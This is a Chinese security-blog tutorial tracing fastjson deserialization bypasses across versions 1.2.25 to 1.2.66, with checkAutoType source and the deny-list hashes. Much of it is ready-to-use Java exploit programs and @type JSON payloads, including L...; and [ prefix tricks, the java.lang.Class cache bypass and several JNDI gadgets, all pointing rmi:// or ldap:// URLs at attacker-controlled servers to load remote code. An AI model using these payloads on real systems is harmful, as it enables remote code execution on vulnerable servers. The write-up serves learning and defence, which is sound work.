前言

还是跟着Drunkbaby大佬的博客继续学习,这篇是fastjson各版本的绕过,绕过的利用都必须开启AutoTypeSupport才能成功。接着上篇的1.2.24,我们从1.2.25开始。

fastjson1.2.25如何修复的

先添加一下依赖包

1
2
3
4
5
<dependency>  
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>

这里我们先看一下1.2.24与1.2.25之间的关键区别点
首先是1.2.24DefaultJSONParser.parserObject方法
image.png
这里有个加载类的方法的调用。作用就是找@type指向的类,并进行加载,类似于Class.forName
但是在1.2.25版本的时候,这里改成了checkAutoType
image.png
具体看一下checkAutoType方法的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {  
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

//autoTypeSupport默认是false
/*在autoTypeSupport开启之后会对类先做一个白名单的过滤,若匹配成功就会进行类的加载,若不成功就会进行黑名单的过滤*/
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 从Map缓存中获取类,注意这是后面版本的漏洞点
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
/*如果autoTypeSupport没有开启,则会进行一个黑名单的过滤,若没有匹配成功就会进行百名单的过滤,如果匹配成功则进行类的加载*/
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

autoTypeSupport默认是false,acceptList是白名单(默认为空,可以手动添加),denyList是黑名单(默认是不为空的)。
在autoTypeSupport为默认false时,会先对@type指向的类进行黑名单的判断,结果如果匹配成功就会抛出错误,停止运行,如果没有匹配成功就会正常运行。
黑名单的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

可以看到黑名单中是有com.sun的,我们在1.2.24的利用链中提到了两个利用链,一个是TemplatesImpl链和JdbcRowSetImpl链两者都要用到com.sun,所以现在两条链都不能继续使用了。
image.png
image.png

autoTypeSupport

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。
默认情况下是false,将其设置为true的方法是:

  1. JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  2. 代码中设置Parserconfig.getGlobalInstance().setAutoTypeSupport(true); 如果使用非全局,parserConfig则要另外调用setAutoTypeSupport(true)
    AutoType白名单的设置方法:
  • JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  • 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  • 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

寻找利用链

在1.2.42版本之后,为了增加安全性,将黑名单中的明文形式转换成了密文形式(哈希),但是大部分黑名单已经被人跑出来了。LeadroyaL/fastjson-blacklist

目前的列表

version hash hex-hash name
1.2.42 -8720046426850100497 0x86fc2bf9beaf7aefL org.apache.commons.collections4.comparators
1.2.42 -8109300701639721088 0x8f75f9fa0df03f80L org.python.core
1.2.42 -7966123100503199569 0x9172a53f157930afL org.apache.tomcat
1.2.42 -7766605818834748097 0x9437792831df7d3fL org.apache.xalan
1.2.42 -6835437086156813536 0xa123a62f93178b20L javax.xml
1.2.42 -4837536971810737970 0xbcdd9dc12766f0ceL org.springframework.
1.2.42 -4082057040235125754 0xc7599ebfe3e72406L org.apache.commons.beanutils
1.2.42 -2364987994247679115 0xdf2ddff310cdb375L org.apache.commons.collections.Transformer
1.2.42 -1872417015366588117 0xe603d6a51fad692bL org.codehaus.groovy.runtime
1.2.42 -254670111376247151 0xfc773ae20c827691L java.lang.Thread
1.2.42 -190281065685395680 0xfd5bfc610056d720L javax.net.
1.2.42 313864100207897507 0x45b11bc78a3aba3L com.mchange
1.2.42 1203232727967308606 0x10b2bdca849d9b3eL org.apache.wicket.util
1.2.42 1502845958873959152 0x14db2e6fead04af0L java.util.jar.
1.2.42 3547627781654598988 0x313bb4abd8d4554cL org.mozilla.javascript
1.2.42 3730752432285826863 0x33c64b921f523f2fL java.rmi
1.2.42 3794316665763266033 0x34a81ee78429fdf1L java.util.prefs.
1.2.42 4147696707147271408 0x398f942e01920cf0L com.sun.
1.2.42 5347909877633654828 0x4a3797b30328202cL java.util.logging.
1.2.42 5450448828334921485 0x4ba3e254e758d70dL org.apache.bcel
1.2.42 5751393439502795295 0x4fd10ddc6d13821fL java.net.Socket
1.2.42 5944107969236155580 0x527db6b46ce3bcbcL org.apache.commons.fileupload
1.2.42 6742705432718011780 0x5d92e6ddde40ed84L org.jboss
1.2.42 7179336928365889465 0x63a220e60a17c7b9L org.hibernate
1.2.42 7442624256860549330 0x6749835432e0f0d2L org.apache.commons.collections.functors
1.2.42 8838294710098435315 0x7aa7ee3627a19cf3L org.apache.myfaces.context.servlet
1.2.43 -2262244760619952081 0xe09ae4604842582fL java.net.URL
1.2.46 -8165637398350707645 0x8eadd40cb2a94443L junit.
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource
1.2.46 -7921218830998286408 0x92122d710e364fb8L org.osjava.sj.
1.2.46 -7768608037458185275 0x94305c26580f73c5L org.apache.log4j.
1.2.46 -6179589609550493385 0xaa3daffdb10c4937L org.logicalcobwebs.
1.2.46 -5194641081268104286 0xb7e8ed757f5d13a2L org.apache.logging.
1.2.46 -3935185854875733362 0xc963695082fd728eL org.apache.commons.dbcp
1.2.46 -2753427844400776271 0xd9c9dbf6bbd27bb1L com.ibatis.sqlmap.engine.datasource
1.2.46 -1589194880214235129 0xe9f20bad25f60807L org.jdom.
1.2.46 1073634739308289776 0xee6511b66fd5ef0L org.slf4j.
1.2.46 5688200883751798389 0x4ef08c90ff16c675L javassist.
1.2.46 7017492163108594270 0x616323f12c2ce25eL oracle.net
1.2.46 8389032537095247355 0x746bd4a53ec195fbL org.jaxen.
1.2.48 1459860845934817624 0x144277b467723158L java.net.InetAddress
1.2.48 8409640769019589119 0x74b50bb9260e31ffL java.lang.Class
1.2.49 4904007817188630457 0x440e89208f445fb9L com.alibaba.fastjson.annotation
1.2.59 5100336081510080343 0x46c808a4b5841f57L org.apache.cxf.jaxrs.provider.
1.2.59 6456855723474196908 0x599b5c1213a099acL ch.qos.logback.
1.2.59 8537233257283452655 0x767a586a5107feefL net.sf.ehcache.transaction.manager.
1.2.60 3688179072722109200 0x332f0b5369a18310L com.zaxxer.hikari.
1.2.61 -4401390804044377335 0xc2eb1e621f439309L flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61 -1650485814983027158 0xe9184be55b1d962aL org.apache.openjpa.ee.
1.2.61 -1251419154176620831 0xeea210e8da2ec6e1L oracle.jdbc.rowset.OracleJDBCRowSet
1.2.61 -9822483067882491 0xffdd1a80f1ed3405L com.mysql.cj.jdbc.admin.
1.2.61 99147092142056280 0x1603dc147a3e358L oracle.jdbc.connector.OracleManagedConnectionFactory
1.2.61 3114862868117605599 0x2b3a37467a344cdfL org.apache.ibatis.parsing.
1.2.61 4814658433570175913 0x42d11a560fc9fba9L org.apache.axis2.jaxws.spi.handler.
1.2.61 6511035576063254270 0x5a5bd85c072e5efeL jodd.db.connection.
1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration
1.2.62 -9164606388214699518 0x80d0c70bcc2fea02L org.apache.ibatis.executor.
1.2.62 -8649961213709896794 0x87f52a1b07ea33a6L net.sf.cglib.
1.2.62 -6316154655839304624 0xa85882ce1044c450L oracle.net.
1.2.62 -5764804792063216819 0xafff4c95b99a334dL com.mysql.cj.jdbc.MysqlDataSource
1.2.62 -4608341446948126581 0xc00be1debaf2808bL jdk.internal.
1.2.62 -4438775680185074100 0xc2664d0958ecfe4cL aj.org.objectweb.asm.
1.2.62 -3319207949486691020 0xd1efcdf4b3316d34L oracle.jdbc.
1.2.62 -2192804397019347313 0xe1919804d5bf468fL org.apache.commons.collections.comparators.
1.2.62 -2095516571388852610 0xe2eb3ac7e56c467eL net.sf.ehcache.hibernate.
1.2.62 4750336058574309 0x10e067cd55c5e5L com.mysql.cj.log.
1.2.62 218512992947536312 0x3085068cb7201b8L org.h2.jdbcx.
1.2.62 823641066473609950 0xb6e292fa5955adeL org.apache.commons.logging.
1.2.62 1534439610567445754 0x154b6cb22d294cfaL org.apache.ibatis.reflection.
1.2.62 1818089308493370394 0x193b2697eaaed41aL org.h2.server.
1.2.62 2164696723069287854 0x1e0a8c3358ff3daeL org.apache.ibatis.datasource.
1.2.62 2653453629929770569 0x24d2f6048fef4e49L org.objectweb.asm.
1.2.62 2836431254737891113 0x275d0732b877af29L flex.messaging.util.concurrent.
1.2.62 3089451460101527857 0x2adfefbbfe29d931L org.apache.ibatis.javassist.
1.2.62 3256258368248066264 0x2d308dbbc851b0d8L java.lang.UNIXProcess
1.2.62 3718352661124136681 0x339a3e0b6beebee9L org.apache.ibatis.ognl.
1.2.62 4046190361520671643 0x3826f4b2380c8b9bL com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.62 4841947709850912914 0x43320dc9d2ae0892L org.codehaus.jackson.
1.2.62 6280357960959217660 0x5728504a6d454ffcL org.apache.ibatis.scripting.
1.2.62 6534946468240507089 0x5ab0cb3071ab40d1L org.apache.commons.proxy.
1.2.62 6734240326434096246 0x5d74d3e5b9370476L com.mysql.cj.jdbc.MysqlXADataSource
1.2.62 7123326897294507060 0x62db241274397c34L org.apache.commons.collections.functors.
1.2.62 8488266005336625107 0x75cc60f5871d0fd3L org.apache.commons.configuration
1.2.66 -2439930098895578154 0xde23a0809a8b9bd6L javax.script.
1.2.66 -582813228520337988 0xf7e96e74dfa58dbcL javax.sound.
1.2.66 -26639035867733124 0xffa15bf021f1e37cL javax.print.
1.2.66 386461436234701831 0x55cfca0f2281c07L javax.activation.
1.2.66 1153291637701043748 0x100150a253996624L javax.tools.
1.2.66 1698504441317515818L 0x17924cca5227622aL javax.management.
1.2.66 7375862386996623731L 0x665c53c311193973L org.apache.xbean.
1.2.66 7658177784286215602L 0x6a47501ebb2afdb2L org.eclipse.jetty.
1.2.66 8055461369741094911L 0x6fcabf6fa54cafffL javax.naming.
1.2.67 -7775351613326101303L 0x941866e73beff4c9L org.apache.shiro.realm.
1.2.67 -6025144546313590215L 0xac6262f52c98aa39L org.apache.http.conn.
1.2.67 -5939269048541779808L 0xad937a449831e8a0L org.quartz.
1.2.67 -5885964883385605994L 0xae50da1fad60a096L com.taobao.eagleeye.wrapper
1.2.67 -3975378478825053783L 0xc8d49e5601e661a9L org.apache.http.impl.
1.2.67 -2378990704010641148L 0xdefc208f237d4104L com.ibatis.
1.2.67 -905177026366752536L 0xf3702a4a5490b8e8L org.apache.catalina.
1.2.67 2660670623866180977L 0x24ec99d5e7dc5571L org.apache.http.auth.
1.2.67 2731823439467737506L 0x25e962f1c28f71a2L br.com.anteros.
1.2.67 3637939656440441093L 0x327c8ed7c8706905L com.caucho.
1.2.67 4254584350247334433L 0x3b0b51ecbf6db221L org.apache.http.cookie.
1.2.67 5274044858141538265L 0x49312bdafb0077d9L org.javasimon.
1.2.67 5474268165959054640L 0x4bf881e49d37f530L org.apache.cocoon.
1.2.67 5596129856135573697L 0x4da972745feb30c1L org.apache.activemq.jms.pool.
1.2.67 6854854816081053523L 0x5f215622fb630753L org.mortbay.jetty.
1.2.68 -3077205613010077203L 0xd54b91cc77b239edL org.apache.shiro.jndi.
1.2.68 -2825378362173150292L 0xd8ca3d595e982bacL org.apache.ignite.cache.jta.
1.2.68 2078113382421334967L 0x1cd6f11c6a358bb7L javax.swing.J
1.2.68 6007332606592876737L 0x535e552d6f9700c1L org.aoju.bus.proxy.provider.
1.2.68 9140390920032557669L 0x7ed9311d28bf1a65L java.awt.p
1.2.68 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
1.2.69 -8024746738719829346L 0x90a25f5baa21529eL java.io.Serializable
1.2.69 -5811778396720452501L 0xaf586a571e302c6bL java.io.Closeable
1.2.69 -3053747177772160511L 0xd59ee91f0b09ea01L oracle.jms.AQ
1.2.69 -2114196234051346931L 0xe2a8ddba03e69e0dL java.util.Collection
1.2.69 -2027296626235911549L 0xe3dd9875a2dc5283L java.lang.Iterable
1.2.69 -2939497380989775398L 0xd734ceb4c3e9d1daL java.lang.Object
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 3247277300971823414L 0x2d10a5801b9d6136L java.lang.Cloneable
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
1.2.69 7222019943667248779L 0x6439c4dff712ae8bL java.util.EventListener
1.2.70 -5076846148177416215L 0xb98b6b5396932fe9L org.apache.commons.collections4.Transformer
1.2.70 -4703320437989596122L 0xbeba72fb1ccba426L org.apache.commons.collections4.functors
1.2.70 -4314457471973557243L 0xc41ff7c9c87c7c05L org.jdom2.transform.
1.2.70 -2533039401923731906L 0xdcd8d615a6449e3eL org.apache.hadoop.shaded.com.zaxxer.hikari.
1.2.70 156405680656087946L 0x22baa234c5bfb8aL com.p6spy.engine.
1.2.70 1214780596910349029L 0x10dbc48446e0dae5L org.apache.activemq.pool.
1.2.70 3085473968517218653L 0x2ad1ce3a112f015dL org.apache.aries.transaction.
1.2.70 3129395579983849527L 0x2b6dd8b3229d6837L org.apache.activemq.ActiveMQConnectionFactory
1.2.70 4241163808635564644L 0x3adba40367f73264L org.apache.activemq.spring.
1.2.70 7240293012336844478L 0x647ab0224e149ebeL org.apache.activemq.ActiveMQXAConnectionFactory
1.2.70 7347653049056829645L 0x65f81b84c1d920cdL org.apache.commons.jelly.
1.2.70 7617522210483516279L 0x69b6e0175084b377L org.apache.axis2.transport.jms.
1.2.71 -4537258998789938600L 0xc1086afae32e6258L java.io.FileReader
1.2.71 -4150995715611818742L 0xc664b363baca050aL java.io.ObjectInputStream
1.2.71 -2995060141064716555L 0xd66f68ab92e7fef5L java.io.FileInputStream
1.2.71 -965955008570215305L 0xf2983d099d29b477L java.io.ObjectOutputStream
1.2.71 -219577392946377768L 0xfcf3e78644b98bd8L java.io.DataOutputStream
1.2.71 2622551729063269307L x24652ce717e713bbL java.io.PrintWriter
1.2.71 2930861374593775110L 0x28ac82e44e933606L java.io.Buffered
1.2.71 4000049462512838776L 0x378307cb0111e878L java.io.InputStreamReader
1.2.71 4193204392725694463L 0x3a31412dbb05c7ffL java.io.OutputStreamWriter
1.2.71 5545425291794704408L 0x4cf54eec05e3e818L java.io.FileWriter
1.2.71 6584624952928234050L 0x5b6149820275ea42L java.io.FileOutputStream
1.2.71 7045245923763966215L 0x61c5bdd721385107L java.io.DataInputStream
1.2.83 -8754006975464705441L 0x868385095a22725fL org.apache.commons.io.
1.2.83 -8382625455832334425L 0x8baaee8f9bf77fa7L org.mvel2.
1.2.83 -6088208984980396913L 0xab82562f53e6e48fL kotlin.reflect.
1.2.83 -4733542790109620528L 0xbe4f13e96a6796d0L com.googlecode.aviator.
1.2.83 -1363634950764737555L 0xed13653cb45c4bedL org.aspectj.
1.2.83 -803541446955902575L 0xf4d93f4fb3e3d991L org.dom4j.
1.2.83 860052378298585747L 0xbef8514d0b79293L org.apache.commons.cli.
1.2.83 1268707909007641340L 0x119b5b1f10210afcL com.google.common.eventbus.
1.2.83 3058452313624178956L 0x2a71ce2cc40a710cL org.thymeleaf.
1.2.83 3740226159580918099L 0x33e7f3e02571b153L org.junit.
1.2.83 3977090344859527316L 0x37317698dcfce894L org.mockito.asm.
1.2.83 4319304524795015394L 0x3bf14094a524f0e2L com.google.common.io.
1.2.83 5120543992130540564L 0x470fd3a18bb39414L org.mockito.runners.
1.2.83 5916409771425455946L 0x521b4f573376df4aL org.mockito.cglib.
1.2.83 6090377589998869205L 0x54855e265fe1dad5L com.google.common.reflect.
1.2.83 7164889056054194741L 0x636ecca2a131b235L org.mockito.stubbing.
1.2.83 8711531061028787095L 0x78e5935826671397L org.apache.commons.codec.
1.2.83 8735538376409180149L 0x793addded7a967f5L ognl.
1.2.83 8861402923078831179L 0x7afa070241b8cc4bL com.google.common.util.concurrent.
1.2.83 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
1.2.83 9144212112462101475L 0x7ee6c477da20bbe3L com.google.common.net.

目前未知的列表

version hash hex-hash name
1.2.42 33238344207745342 0x761619136cc13eL
1.2.67 -831789045734283466L 0xf474e44518f26736L
1.2.71 3452379460455804429L 0x2fe950d3ea52ae0dL
1.2.78 -8614556368991373401L 0x8872f29fd0b0b7a7L
1.2.78 -5472097725414717105L 0xb40f341c746ec94fL
1.2.78 -3750763034362895579L 0xcbf29ce484222325L
1.2.78 -1800035667138631116L 0xe704fd19052b2a34L
1.2.78 -831789045734283466L 0xf474e44518f26736L
1.2.78 33238344207745342L 0x761619136cc13eL
1.2.78 3452379460455804429L 0x2fe950d3ea52ae0dL
1.2.78 4215053018660518963L 0x3a7ee0635eb2bc33L
1.2.83 -8614556368991373401L 0x8872f29fd0b0b7a7L
1.2.83 -3750763034362895579L 0xcbf29ce484222325L
1.2.83 -1800035667138631116L 0xe704fd19052b2a34L
1.2.83 4215053018660518963L 0x3a7ee0635eb2bc33L

各版本的绕过

1.2.25-1.2.41

image.png
这里很明显被ban了
绕过方法:com.sun.rowset.JdbcRowSetImpl前面加一个L后面加一个; 进行绕过
记得启动AutoTypeSupport
exp

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;

public class test1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String json = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/RO\",\"autoCommit\":true}";
JSON.parse(json);

}
}

image.png

分析

image.png
因为Lcom.sun.rowset.JdbcRowSetImpl;这个是不存在黑名单中的,一直向下走便会到LoadClass中,然后跟进去看。
image.png
绕过的理由就在这里,如果是以L开头;结尾的话,就会去除掉,然后进行类的加载。这也就导致了绕过的成功。

1. 2.25-1.2.42

exp

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;

public class test1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String json = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/RO\",\"autoCommit\":true}";
JSON.parse(json);

}
}

这里代码逻辑会先进行提取了,所以我们直接写两个L和; 进行绕过
image.png

1.2.25-1.2.43

直接给出绕过exp

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;

public class test1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String json = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/RO\",\"autoCommit\":true}";
JSON.parse(json);

}
}

分析

image.png
这里除了会对L和;进行提取之外,还会对 [ 进行提取,所以可以在类前加[但是,在反序列化时还要满足特定的条件,否则会报错,我们来看一下。
image.png
这里会对最后字符的内容是否时“[”,“{”进行校验,所以要添加上,防止报错。

1.2.25-1.2.45

前提条件:要存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
放个依赖包

1
2
3
4
5
<dependency>  
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.6</version>
</dependency>

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;

public class test1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);


String json ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\":{\"data_source\":\"rmi://localhost:1099/RO\"}}";
JSON.parse(json);

}
}

这个在45之前的版本是不在黑名单里面的,所以可以利用的。
image.png
再来看这里有很明显的jndi注入对吧。
所以绕过成功

1.2.25-1.2.47

这个的绕过方法是基于checkAutoType()函数绕过的,并且不需要开启AutoTypeSupport,大致思路是通过java.lang.Class,将JdbcRowSetImpl类加载到Map缓存中,从而绕过AutoType的检测,因此需要将payload分两次发送,第一次是加载,第二次是执行,默认情况下,没有遇到加载的类checkAutoType()就会抛出异常终止程序。
以下是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;

public class test1 {
public static void main(String[] args) {
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"rmi://localhost:1099/RO\",\"autoCommit\":true}}";
JSON.parse(payload);

}
}

image.png
具体的分析大家可以看Java反序列化Fastjson篇03-Fastjson各版本绕过分析 | Drunkbaby’s Blog我具体就不分析了

后续版本的链子

Fastjson1.2.5-1.2.59

需要开启AutoType

1
2
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson1.2.5-1.2.60

需要开启AutoType

1
2
3
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastjson1.2.5-1.2.61

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploi

Fastjson <=1.2.62

1
2
3
4
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://127.0.0.1:1099/exploit"
}";

Fastjson <=1.2.66

1
2
3
4
{
"@type":"org.apache.shiro.jndi.JndiObjectFactory",
"resourceName":"ldap://192.168.80.1:1389/Calc"
}

总结

后续版本的绕过还有很多,我就不一一总结了,大家也可以看看别的文章哦

参考

Java中Fastjson各版本漏洞对抗史与总结-先知社区
Java反序列化Fastjson篇03-Fastjson各版本绕过分析 | Drunkbaby’s Blog